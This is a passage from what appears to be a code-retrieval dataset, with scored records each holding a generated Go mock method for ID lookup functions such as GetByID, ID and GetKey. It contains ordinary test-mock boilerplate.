UserRepositoryMock.GetById with params: %#v\", *m.GetByIdMock.defaultExpectation.params)\n\t\t}\n\t}\n\t// if func was set then invocations count should be greater than zero\n\tif m.funcGetById != nil && mm_atomic.LoadUint64(&m.afterGetByIdCounter) < 1 {\n\t\tm.t.Error(\"Expected call to UserRepositoryMock.GetById\")\n\t}\n}", "title": "" }, { "docid": "94ca90cb343cc22a109dbbad89ff6fd6", "score": "0.5215387", "text": "func (_m *SubOrderI) GetByID(_a0 string) (*models.SubOrder, error) {\n\tret := _m.Called(_a0)\n\n\tvar r0 *models.SubOrder\n\tif rf, ok := ret.Get(0).(func(string) *models.SubOrder); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*models.SubOrder)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string) error); ok {\n\t\tr1 = rf(_a0)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "9f1d23fe247e8e7481e2d5376ea05f07", "score": "0.5212587", "text": "func (_m *MockService) SendInternal(typeID int, custID int, payload interface{}) (int, error) {\n\tret := _m.Called(typeID, custID, payload)\n\n\tvar r0 int\n\tif rf, ok := ret.Get(0).(func(int, int, interface{}) int); ok {\n\t\tr0 = rf(typeID, custID, payload)\n\t} else {\n\t\tr0 = ret.Get(0).(int)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(int, int, interface{}) error); ok {\n\t\tr1 = rf(typeID, custID, payload)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "3d0577b7c3c704ca4ba45eb460a5f53e", "score": "0.5202297", "text": "func (m *MockSource) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "985d9548f7d87afd9f5c25fb5896fdb4", "score": "0.51861435", "text": "func (_m *mockStoreGetter) OpenApiSpec(id string) (*OpenApiSpec, bool, error) {\n\tret := _m.Called(id)\n\n\tvar r0 *OpenApiSpec\n\tif rf, ok := ret.Get(0).(func(string) *OpenApiSpec); ok {\n\t\tr0 = rf(id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*OpenApiSpec)\n\t\t}\n\t}\n\n\tvar r1 bool\n\tif rf, ok := ret.Get(1).(func(string) bool); ok {\n\t\tr1 = rf(id)\n\t} else {\n\t\tr1 = ret.Get(1).(bool)\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func(string) error); ok {\n\t\tr2 = rf(id)\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}", "title": "" }, { "docid": "38a2f292c136759a15b933fa9628a90c", "score": "0.5185435", "text": "func mockModifiableComp(id string) *dmi.ModifiableComponent {\n\treq := new(dmi.ModifiableComponent)\n\treq.Name = \"olt-name-\" + id\n\treq.Alias = \"olt-1-alias-\" + id\n\treq.AssetId = \"olt-1-assetid-\" + id\n\treq.Uri = new(dmi.Uri)\n\treq.Uri.Uri = \"127.0.0.\" + id\n\treq.Parent = new(dmi.Component)\n\treq.AdminState = dmi.ComponentAdminState_COMP_ADMIN_STATE_UNLOCKED\n\treturn req\n}", "title": "" }, { "docid": "fe92c4c7038c72401847f670562a3d9e", "score": "0.51797086", "text": "func (_m *ChainScopedConfig) OCR2KeyBundleID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "ceb7cced6cecf3edc09a00967d18a3e7", "score": "0.5153839", "text": "func (_m *K8sResourceHandler) BuildIdentityResource(ctx context.Context, taskCtx types.TaskContext) (flytek8s.K8sResource, error) {\n\tret := _m.Called(ctx, taskCtx)\n\n\tvar r0 flytek8s.K8sResource\n\tif rf, ok := ret.Get(0).(func(context.Context, types.TaskContext) flytek8s.K8sResource); ok {\n\t\tr0 = rf(ctx, taskCtx)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(flytek8s.K8sResource)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, types.TaskContext) error); ok {\n\t\tr1 = rf(ctx, taskCtx)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "823cb35af137a3f8e91ce722adef1a81", "score": "0.5123794", "text": "func (_m *MockInspect) UID(ctx context.Context, containerID string) (int, error) {\n\tret := _m.Called(ctx, containerID)\n\n\tvar r0 int\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string) (int, error)); ok {\n\t\treturn rf(ctx, containerID)\n\t}\n\tif rf, ok := ret.Get(0).(func(context.Context, string) int); ok {\n\t\tr0 = rf(ctx, containerID)\n\t} else {\n\t\tr0 = ret.Get(0).(int)\n\t}\n\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, containerID)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "85a9145d7732d6c37a476aefec02e630", "score": "0.51153076", "text": "func (_m *mockStoreGetter) ApiSpec(id string) (*ApiSpec, bool, error) {\n\tret := _m.Called(id)\n\n\tvar r0 *ApiSpec\n\tif rf, ok := ret.Get(0).(func(string) *ApiSpec); ok {\n\t\tr0 = rf(id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*ApiSpec)\n\t\t}\n\t}\n\n\tvar r1 bool\n\tif rf, ok := ret.Get(1).(func(string) bool); ok {\n\t\tr1 = rf(id)\n\t} else {\n\t\tr1 = ret.Get(1).(bool)\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func(string) error); ok {\n\t\tr2 = rf(id)\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}", "title": "" }, { "docid": "1ba53a4ce76c520ba8fd43d1b24a7135", "score": "0.5101595", "text": "func (m *MockHostServiceIface) GetHostID(name string, opts ...OptionFunc) (string, int, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{name}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetHostID\", varargs...)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(int)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "b024279f9619daa68227af1f07afe0b6", "score": "0.5094005", "text": "func (_m *MockFactory) GetWorkspaceID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "6949f461b2f738d8450f17620376b608", "score": "0.50916505", "text": "func (m *MockInfo) GetTaskID() int64 {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTaskID\")\n\tret0, _ := ret[0].(int64)\n\treturn ret0\n}", "title": "" }, { "docid": "837adb9e1b62c3caa826a9714b23d0e9", "score": "0.5074338", "text": "func (m *Team) SetInternalId(value *string)() {\n err := m.GetBackingStore().Set(\"internalId\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "4e9117cf67757543863d3b71cdd0ebba", "score": "0.5071992", "text": "func (m *MockThread) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "3fd966c62d119110cdf70c596269c16e", "score": "0.5071099", "text": "func (m *MockClient) GetByID(arg0 context.Context, arg1 string) (compute.VirtualMachine, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetByID\", arg0, arg1)\n\tret0, _ := ret[0].(compute.VirtualMachine)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "910ba1c36dc62f909bff5a24abf87617", "score": "0.5069722", "text": "func (_m *MockInspect) GID(ctx context.Context, containerID string) (int, error) {\n\tret := _m.Called(ctx, containerID)\n\n\tvar r0 int\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string) (int, error)); ok {\n\t\treturn rf(ctx, containerID)\n\t}\n\tif rf, ok := ret.Get(0).(func(context.Context, string) int); ok {\n\t\tr0 = rf(ctx, containerID)\n\t} else {\n\t\tr0 = ret.Get(0).(int)\n\t}\n\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, containerID)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "47cbfe2d2f3219a8e560d4ba90d60d83", "score": "0.5067214", "text": "func (_m *Repository) GetByID(ctx context.Context, tenantID string, id string) (*model.BundleInstanceAuth, error) {\n\tret := _m.Called(ctx, tenantID, id)\n\n\tvar r0 *model.BundleInstanceAuth\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string) *model.BundleInstanceAuth); ok {\n\t\tr0 = rf(ctx, tenantID, id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*model.BundleInstanceAuth)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string, string) error); ok {\n\t\tr1 = rf(ctx, tenantID, id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "21747c2101aab2c0711d57a3761617e6", "score": "0.5063776", "text": "func (_m *MockClientService) GetProjectsProjectID(params *products.GetProjectsProjectIDParams, authInfo runtime.ClientAuthInfoWriter, opts ...products.ClientOption) (*products.GetProjectsProjectIDOK, error) {\n\t_va := make([]interface{}, len(opts))\n\tfor _i := range opts {\n\t\t_va[_i] = opts[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, params, authInfo)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *products.GetProjectsProjectIDOK\n\tif rf, ok := ret.Get(0).(func(*products.GetProjectsProjectIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) *products.GetProjectsProjectIDOK); ok {\n\t\tr0 = rf(params, authInfo, opts...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*products.GetProjectsProjectIDOK)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(*products.GetProjectsProjectIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) error); ok {\n\t\tr1 = rf(params, authInfo, opts...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "b029f0af07cae9d3f3e00973f88a2cee", "score": "0.5057324", "text": "func (_m *IEC2Identity) InstanceID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "0770492140707c986d06c6770740d465", "score": "0.5055993", "text": "func (m *MockBroker) NextId() uint32 {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"NextId\")\n\tret0, _ := ret[0].(uint32)\n\treturn ret0\n}", "title": "" }, { "docid": "377a891616bd491c8e6063b31c501d5a", "score": "0.5052748", "text": "func (_m *Usecase) GetByID(id int64) (*user.User, error) {\n\tret := _m.Called(id)\n\n\tvar r0 *user.User\n\tif rf, ok := ret.Get(0).(func(int64) *user.User); ok {\n\t\tr0 = rf(id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*user.User)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(int64) error); ok {\n\t\tr1 = rf(id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "a898ff81b2095db3e57180b9a53e992a", "score": "0.50373155", "text": "func (_m *ApplicationRepository) GetGlobalByID(ctx context.Context, id string) (*model.Application, error) {\n\tret := _m.Called(ctx, id)\n\n\tvar r0 *model.Application\n\tif rf, ok := ret.Get(0).(func(context.Context, string) *model.Application); ok {\n\t\tr0 = rf(ctx, id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*model.Application)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "abd2d1eca8158643be6474468a2c66b2", "score": "0.5034003", "text": "func (m *MockCompilerContext2) GetPrimaryKeyDef(dbName, tableName string) []*ColDef {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPrimaryKeyDef\", dbName, tableName)\n\tret0, _ := ret[0].([]*ColDef)\n\treturn ret0\n}", "title": "" }, { "docid": "642b4300d2baf70373b2911ad9922e08", "score": "0.50311875", "text": "func (m *MockCompilerContext2) GetDatabaseId(dbName string) (uint64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetDatabaseId\", dbName)\n\tret0, _ := ret[0].(uint64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "88d1d2a0b808ef0380a6940b5dd6d5f7", "score": "0.50279295", "text": "func (_m *UserRepository) GetByID(ctx context.Context, id string) (*domain.UserInfo, error) {\n\tret := _m.Called(ctx, id)\n\n\tvar r0 *domain.UserInfo\n\tif rf, ok := ret.Get(0).(func(context.Context, string) *domain.UserInfo); ok {\n\t\tr0 = rf(ctx, id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*domain.UserInfo)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string) error); ok {\n\t\tr1 = rf(ctx, id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "7a7b6d9e04c354101d3266b64da018ad", "score": "0.5017184", "text": "func (_m *UserRepository) GetRequestCount(userId string) (*int64, error) {\n\tret := _m.Called(userId)\n\n\tvar r0 *int64\n\tif rf, ok := ret.Get(0).(func(string) *int64); ok {\n\t\tr0 = rf(userId)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*int64)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string) error); ok {\n\t\tr1 = rf(userId)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "39331c0462c6f6b875ff8c6aa3af5ee8", "score": "0.5013049", "text": "func (_m *KeyManager) GetKey(_a0 string, _a1 uint16) ([]byte, *test.Err) {\n\tret := _m.Called(_a0, _a1)\n\n\tvar r0 []byte\n\tvar r1 *test.Err\n\tif rf, ok := ret.Get(0).(func(string, uint16) ([]byte, *test.Err)); ok {\n\t\treturn rf(_a0, _a1)\n\t}\n\tif rf, ok := ret.Get(0).(func(string, uint16) []byte); ok {\n\t\tr0 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).([]byte)\n\t\t}\n\t}\n\n\tif rf, ok := ret.Get(1).(func(string, uint16) *test.Err); ok {\n\t\tr1 = rf(_a0, _a1)\n\t} else {\n\t\tif ret.Get(1) != nil {\n\t\t\tr1 = ret.Get(1).(*test.Err)\n\t\t}\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "cbe1fab3a45d5a66d1511a5ca15496bc", "score": "0.5010585", "text": "func (_m *RPCClient) LatestBlockNumber() (uint64, error) {\n\tret := _m.Called()\n\n\tvar r0 uint64\n\tif rf, ok := ret.Get(0).(func() uint64); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(uint64)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "f1df9484eb09b08cdc67495d750a82fd", "score": "0.50022215", "text": "func (_m *GeneralSnapshot) GetSourceID() string {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "807b895729439501a15ab9cb0bd62b03", "score": "0.5001459", "text": "func (_m *DatabaseClient) GetDeviceId(ctx context.Context, req *database.GetDeviceIdReq) (int64, error) {\n\tret := _m.Called(ctx, req)\n\n\tvar r0 int64\n\tif rf, ok := ret.Get(0).(func(context.Context, *database.GetDeviceIdReq) int64); ok {\n\t\tr0 = rf(ctx, req)\n\t} else {\n\t\tr0 = ret.Get(0).(int64)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, *database.GetDeviceIdReq) error); ok {\n\t\tr1 = rf(ctx, req)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "5370d8850e7cb0b13b3dc3826dd6dd6d", "score": "0.49920082", "text": "func (m *MockPeer) Identifier() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Identifier\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "a0e0642d4265fa7c45dafd4ea55dec00", "score": "0.49807447", "text": "func (m *MocknamespaceRepositoryInterface) getOrganizationId(organizationName string) (int, error) {\n\tret := m.ctrl.Call(m, \"getOrganizationId\", organizationName)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "3d9141d4c76015f592b6f1e981a5fdb3", "score": "0.4968232", "text": "func (_m *MockClientService) GetReplicationExecutionsID(params *products.GetReplicationExecutionsIDParams, authInfo runtime.ClientAuthInfoWriter, opts ...products.ClientOption) (*products.GetReplicationExecutionsIDOK, error) {\n\t_va := make([]interface{}, len(opts))\n\tfor _i := range opts {\n\t\t_va[_i] = opts[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, params, authInfo)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *products.GetReplicationExecutionsIDOK\n\tif rf, ok := ret.Get(0).(func(*products.GetReplicationExecutionsIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) *products.GetReplicationExecutionsIDOK); ok {\n\t\tr0 = rf(params, authInfo, opts...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*products.GetReplicationExecutionsIDOK)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(*products.GetReplicationExecutionsIDParams, runtime.ClientAuthInfoWriter, ...products.ClientOption) error); ok {\n\t\tr1 = rf(params, authInfo, opts...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "4df37760ba81e2733f678d237eb45581", "score": "0.49632028", "text": "func (_m *SubOrderI) GetBySubOrderID(_a0 string) (*models.SubOrder, error) {\n\tret := _m.Called(_a0)\n\n\tvar r0 *models.SubOrder\n\tif rf, ok := ret.Get(0).(func(string) *models.SubOrder); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*models.SubOrder)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string) error); ok {\n\t\tr1 = rf(_a0)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "6e9a36750b09f8efda4cee475efd6ba3", "score": "0.4961573", "text": "func (m *MockHostServiceIface) GetHostTagID(keyword string, opts ...OptionFunc) (string, int, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{keyword}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetHostTagID\", varargs...)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(int)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "12a5dd539d77123e7f81e12a90fdbc6a", "score": "0.4959939", "text": "func (a FakeEntity) GetID() string { return a.ID }", "title": "" }, { "docid": "ec3cc9da886f41317630b14efdfb5f57", "score": "0.49598038", "text": "func (m *MockTask) GetTaskID() int64 {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTaskID\")\n\tret0, _ := ret[0].(int64)\n\treturn ret0\n}", "title": "" }, { "docid": "fe8dac03a2e023ad8f71dea4e3c944d1", "score": "0.49584502", "text": "func (_m *ApplicationRepository) GetByIDForUpdate(ctx context.Context, tenant string, id string) (*model.Application, error) {\n\tret := _m.Called(ctx, tenant, id)\n\n\tvar r0 *model.Application\n\tif rf, ok := ret.Get(0).(func(context.Context, string, string) *model.Application); ok {\n\t\tr0 = rf(ctx, tenant, id)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*model.Application)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string, string) error); ok {\n\t\tr1 = rf(ctx, tenant, id)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "d5bb03ba3457b798376fa018ecc8910b", "score": "0.49497402", "text": "func (_m *ChainScopedConfig) OCRKeyBundleID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "de7c4df9864207ff4686703a7edb0fb5", "score": "0.49485874", "text": "func (m *MockAppchainMgr) QueryById(id string, extra []byte) (bool, []byte) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryById\", id, extra)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].([]byte)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "bbeee86c4c40648fd660c6a65e26a217", "score": "0.4947236", "text": "func (m *MockServiceNode) ID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "039ae005be5df718bcddb7f4ab966d91", "score": "0.49458385", "text": "func (_e *CartCache_Expecter) BuildIdentifier(_a0 interface{}, _a1 interface{}) *CartCache_BuildIdentifier_Call {\n\treturn &CartCache_BuildIdentifier_Call{Call: _e.mock.On(\"BuildIdentifier\", _a0, _a1)}\n}", "title": "" }, { "docid": "e8a4a2cec735c428571c4bc510c8c068", "score": "0.49418175", "text": "func (_m *Capabilities) ForbidDuplicateTXIdInBlock() bool {\n\tret := _m.Called()\n\n\tvar r0 bool\n\tif rf, ok := ret.Get(0).(func() bool); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(bool)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "f56e78af3f6f11e76322880868150bf7", "score": "0.49260706", "text": "func (_m *MockFactory) GetUserID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "61fce1c6f70679b4bcdd467c9428089b", "score": "0.49086022", "text": "func (_m *UserStore) GetFirstSystemAdminID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "3ffe3f5d6f652d5352334c4944f9ad1b", "score": "0.49006486", "text": "func (m *MockInterface) GetProjectID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetProjectID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "b39d187e44121d821e3909be4e8b51ee", "score": "0.48998016", "text": "func (_m *Usecase) GetUserDetailById(ctx context.Context,id string,token string)(*models.UserDto, error) {\n\tret := _m.Called(ctx, id,token)\n\n\tvar r0 *models.UserDto\n\tif rf, ok := ret.Get(0).(func(context.Context, string,string) *models.UserDto); ok {\n\t\tr0 = rf(ctx,id, token)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*models.UserDto)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, string,string) error); ok {\n\t\tr1 = rf(ctx, id,token)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "2e932278e3143138c116ca06a268f899", "score": "0.48983926", "text": "func (m *MockSSHKeyClient) GetByID(arg0 context.Context, arg1 int64) (*hcloud.SSHKey, *hcloud.Response, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetByID\", arg0, arg1)\n\tret0, _ := ret[0].(*hcloud.SSHKey)\n\tret1, _ := ret[1].(*hcloud.Response)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "e117ab82c4736ea975c90d433dad2301", "score": "0.48977512", "text": "func (_m *MockRemotePeer) ID() peer.ID {\n\tret := _m.Called()\n\n\tvar r0 peer.ID\n\tif rf, ok := ret.Get(0).(func() peer.ID); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(peer.ID)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "c111534cbc842cb4f93dfda03aeee242", "score": "0.48960888", "text": "func (_m *Client) GetMyUserInfo() (*gitea.User, *gitea.Response, error) {\n\tret := _m.Called()\n\n\tvar r0 *gitea.User\n\tif rf, ok := ret.Get(0).(func() *gitea.User); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*gitea.User)\n\t\t}\n\t}\n\n\tvar r1 *gitea.Response\n\tif rf, ok := ret.Get(1).(func() *gitea.Response); ok {\n\t\tr1 = rf()\n\t} else {\n\t\tif ret.Get(1) != nil {\n\t\t\tr1 = ret.Get(1).(*gitea.Response)\n\t\t}\n\t}\n\n\tvar r2 error\n\tif rf, ok := ret.Get(2).(func() error); ok {\n\t\tr2 = rf()\n\t} else {\n\t\tr2 = ret.Error(2)\n\t}\n\n\treturn r0, r1, r2\n}", "title": "" }, { "docid": "9c2d43fcf4a3ad25ba95b81d1bb4059f", "score": "0.48934057", "text": "func (m *MockInfo) GetWorkflowID() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetWorkflowID\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "1f4e30f5db9291f4eabf9ebab7de6509", "score": "0.4892771", "text": "func (m *MockCommand) GetImageIDByRepoDigest(imageName string) (string, error) {\n\tret := m.ctrl.Call(m, \"GetImageIDByRepoDigest\", imageName)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "bf0bd6a39cde32fb3001a33fed55d821", "score": "0.48884556", "text": "func (_m *MockResult) TokenID() (string, error) {\n\tret := _m.Called()\n\n\tvar r0 string\n\tvar r1 error\n\tif rf, ok := ret.Get(0).(func() (string, error)); ok {\n\t\treturn rf()\n\t}\n\tif rf, ok := ret.Get(0).(func() string); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tif rf, ok := ret.Get(1).(func() error); ok {\n\t\tr1 = rf()\n\t} else 